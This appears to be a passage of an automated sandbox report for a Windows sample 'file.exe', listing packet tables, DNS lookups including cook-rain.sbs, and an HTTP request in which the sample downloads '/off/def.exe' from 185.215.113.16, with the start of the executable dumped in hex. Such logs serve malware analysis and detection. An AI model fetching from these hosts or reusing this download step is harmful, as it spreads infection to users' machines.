Nov 20, 2024 00:19:54.091582060 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101006985 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101104975 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101162910 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.101196051 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101303101 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.101303101 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.101322889 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101371050 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.101387024 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.101403952 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.103715897 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.103744030 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.103825092 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.103940964 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.103950024 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.104974031 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.105365038 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.105431080 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.105431080 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.105519056 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.105551004 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.153333902 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.153791904 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.153810024 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.154306889 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.154311895 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.194945097 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.196239948 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.196295977 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.196388960 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.196388960 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.196404934 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.196415901 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.269515038 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.269820929 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.269869089 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.269917011 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.269926071 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.269937038 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.269941092 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.325041056 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.325625896 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.325648069 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.326066017 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.326073885 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.433465958 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.433804035 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.433938026 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.435249090 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.435276031 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.811201096 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.811856985 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.811866999 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.812314034 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.812319040 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.930274010 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.930336952 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.930427074 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.930635929 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.930644035 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.930654049 CET	50095	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.930658102 CET	443	50095	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:56.332623959 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:56.332662106 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:56.332742929 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:56.333086014 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:56.333098888 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.016027927 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.016099930 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.017673969 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.017684937 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.017925978 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.026612043 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.071408987 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.278634071 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.278665066 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.278681040 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.278723955 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.278748035 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.278764963 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.278795004 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.283951998 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.283982038 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.284008980 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.284017086 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.284048080 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.284341097 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.284393072 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.285906076 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.285917044 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:57.285948992 CET	50096	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:57.285953999 CET	443	50096	20.109.210.53	192.168.2.6
Nov 20, 2024 00:20:05.648214102 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:05.648300886 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:05.648390055 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:05.648979902 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:05.649015903 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.574872971 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.574990034 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.576601982 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.576628923 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.576904058 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.578367949 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.578430891 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.578444958 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.578540087 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.619334936 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.758011103 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.758232117 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.758663893 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.758699894 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:06.758722067 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.758722067 CET	50097	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:06.758732080 CET	443	50097	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:19.929780960 CET	50098	80	192.168.2.6	199.232.214.172
Nov 20, 2024 00:20:20.937515974 CET	50098	80	192.168.2.6	199.232.214.172
Nov 20, 2024 00:20:22.942924023 CET	50098	80	192.168.2.6	199.232.214.172
Nov 20, 2024 00:20:26.953008890 CET	50098	80	192.168.2.6	199.232.214.172
Nov 20, 2024 00:20:31.517677069 CET	50100	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:20:31.517731905 CET	443	50100	172.217.16.132	192.168.2.6
Nov 20, 2024 00:20:31.517801046 CET	50100	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:20:31.518079996 CET	50100	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:20:31.518099070 CET	443	50100	172.217.16.132	192.168.2.6
Nov 20, 2024 00:20:34.664274931 CET	50102	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:34.664356947 CET	443	50102	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:34.664446115 CET	50102	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:34.665056944 CET	50102	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:34.665093899 CET	443	50102	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:34.968661070 CET	50098	80	192.168.2.6	199.232.214.172
Nov 20, 2024 00:20:38.313124895 CET	49703	443	192.168.2.6	20.190.159.73
Nov 20, 2024 00:20:38.313254118 CET	49704	80	192.168.2.6	93.184.221.240
Nov 20, 2024 00:20:38.320504904 CET	443	49703	20.190.159.73	192.168.2.6
Nov 20, 2024 00:20:38.320584059 CET	49703	443	192.168.2.6	20.190.159.73
Nov 20, 2024 00:20:38.321032047 CET	80	49704	93.184.221.240	192.168.2.6
Nov 20, 2024 00:20:38.321091890 CET	49704	80	192.168.2.6	93.184.221.240
Nov 20, 2024 00:20:40.844830990 CET	49707	443	192.168.2.6	20.190.159.73
Nov 20, 2024 00:20:40.850136995 CET	443	49707	20.190.159.73	192.168.2.6
Nov 20, 2024 00:20:40.850205898 CET	49707	443	192.168.2.6	20.190.159.73
Nov 20, 2024 00:20:40.985697031 CET	50103	80	192.168.2.6	199.232.210.172
Nov 20, 2024 00:20:41.986088037 CET	50103	80	192.168.2.6	199.232.210.172
Nov 20, 2024 00:20:43.999883890 CET	50103	80	192.168.2.6	199.232.210.172
Nov 20, 2024 00:20:48.004538059 CET	50103	80	192.168.2.6	199.232.210.172
Nov 20, 2024 00:20:55.161495924 CET	50104	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:55.161535025 CET	443	50104	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:55.161621094 CET	50104	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:55.162354946 CET	50104	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:20:55.162372112 CET	443	50104	40.113.103.199	192.168.2.6
Nov 20, 2024 00:20:56.014930964 CET	50103	80	192.168.2.6	199.232.210.172
Nov 20, 2024 00:21:01.532746077 CET	50100	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:21:01.579333067 CET	443	50100	172.217.16.132	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 00:19:04.714783907 CET	63147	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:04.765810013 CET	53	63147	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:27.075212955 CET	53	64751	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:27.100914955 CET	53	51362	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:28.147656918 CET	53	61479	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:30.521398067 CET	53350	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:30.521548033 CET	58842	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:31.455287933 CET	62248	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:31.455616951 CET	52218	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:31.466309071 CET	53	62248	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:31.466497898 CET	53	52218	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:31.654185057 CET	59612	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:31.654481888 CET	65244	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:34.591074944 CET	58201	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:34.591391087 CET	60003	53	192.168.2.6	1.1.1.1
Nov 20, 2024 00:19:34.625708103 CET	53	65447	1.1.1.1	192.168.2.6
Nov 20, 2024 00:19:45.257606030 CET	53	59443	1.1.1.1	192.168.2.6
Nov 20, 2024 00:20:04.351972103 CET	53	58078	1.1.1.1	192.168.2.6
Nov 20, 2024 00:20:26.668207884 CET	53	53268	1.1.1.1	192.168.2.6
Nov 20, 2024 00:20:27.289247990 CET	53	60023	1.1.1.1	192.168.2.6
Nov 20, 2024 00:20:56.680201054 CET	53	65230	1.1.1.1	192.168.2.6
Nov 20, 2024 00:20:57.041894913 CET	53	60336	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 00:19:27.970168114 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable
Nov 20, 2024 00:19:30.581898928 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable
Nov 20, 2024 00:19:31.891064882 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable
Nov 20, 2024 00:19:40.389347076 CET	192.168.2.6	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 00:19:04.714783907 CET	192.168.2.6	1.1.1.1	0x19ed	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:30.521398067 CET	192.168.2.6	1.1.1.1	0xf587	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:30.521548033 CET	192.168.2.6	1.1.1.1	0x242a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:31.455287933 CET	192.168.2.6	1.1.1.1	0x448	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:31.455616951 CET	192.168.2.6	1.1.1.1	0x571c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:31.654185057 CET	192.168.2.6	1.1.1.1	0x9058	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:31.654481888 CET	192.168.2.6	1.1.1.1	0x43e8	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:34.591074944 CET	192.168.2.6	1.1.1.1	0xb978	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:34.591391087 CET	192.168.2.6	1.1.1.1	0xfee9	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 00:19:04.765810013 CET	1.1.1.1	192.168.2.6	0x19ed	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:04.765810013 CET	1.1.1.1	192.168.2.6	0x19ed	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:30.533776999 CET	1.1.1.1	192.168.2.6	0x71b5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.533776999 CET	1.1.1.1	192.168.2.6	0x71b5	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.533776999 CET	1.1.1.1	192.168.2.6	0x71b5	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:30.533813953 CET	1.1.1.1	192.168.2.6	0x6c17	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.535177946 CET	1.1.1.1	192.168.2.6	0xf587	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.535177946 CET	1.1.1.1	192.168.2.6	0xf587	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.535177946 CET	1.1.1.1	192.168.2.6	0xf587	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.535177946 CET	1.1.1.1	192.168.2.6	0xf587	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:30.581840038 CET	1.1.1.1	192.168.2.6	0x242a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:30.581840038 CET	1.1.1.1	192.168.2.6	0x242a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.466309071 CET	1.1.1.1	192.168.2.6	0x448	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:31.466497898 CET	1.1.1.1	192.168.2.6	0x571c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 00:19:31.476108074 CET	1.1.1.1	192.168.2.6	0x76d3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.534847975 CET	1.1.1.1	192.168.2.6	0x360b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.534847975 CET	1.1.1.1	192.168.2.6	0x360b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.534847975 CET	1.1.1.1	192.168.2.6	0x360b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:31.660789013 CET	1.1.1.1	192.168.2.6	0x9058	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.660789013 CET	1.1.1.1	192.168.2.6	0x9058	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.660789013 CET	1.1.1.1	192.168.2.6	0x9058	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.660789013 CET	1.1.1.1	192.168.2.6	0x9058	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:31.661287069 CET	1.1.1.1	192.168.2.6	0x43e8	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:31.661287069 CET	1.1.1.1	192.168.2.6	0x43e8	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:34.598377943 CET	1.1.1.1	192.168.2.6	0xfee9	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:34.599102020 CET	1.1.1.1	192.168.2.6	0xb978	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:37.672806978 CET	1.1.1.1	192.168.2.6	0x6ebc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:37.673120022 CET	1.1.1.1	192.168.2.6	0x4163	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:40.372909069 CET	1.1.1.1	192.168.2.6	0xe212	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:40.389281988 CET	1.1.1.1	192.168.2.6	0x6a9c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49765	185.215.113.16	80	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:19:17.550641060 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 00:19:18.256655931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Tue, 19 Nov 2024 22:03:48 GMT Connection: keep-alive ETag: "673d0b44-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 23 7a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +#z+`Ui` @ @.rsrc`2@.idata 8@uyzwkscv *:@uvqglrmt V@.taggant@"Z*@
Nov 20, 2024 00:19:18.256724119 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.256863117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.256896973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.256928921 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.257473946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.257503986 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.257538080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.257566929 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
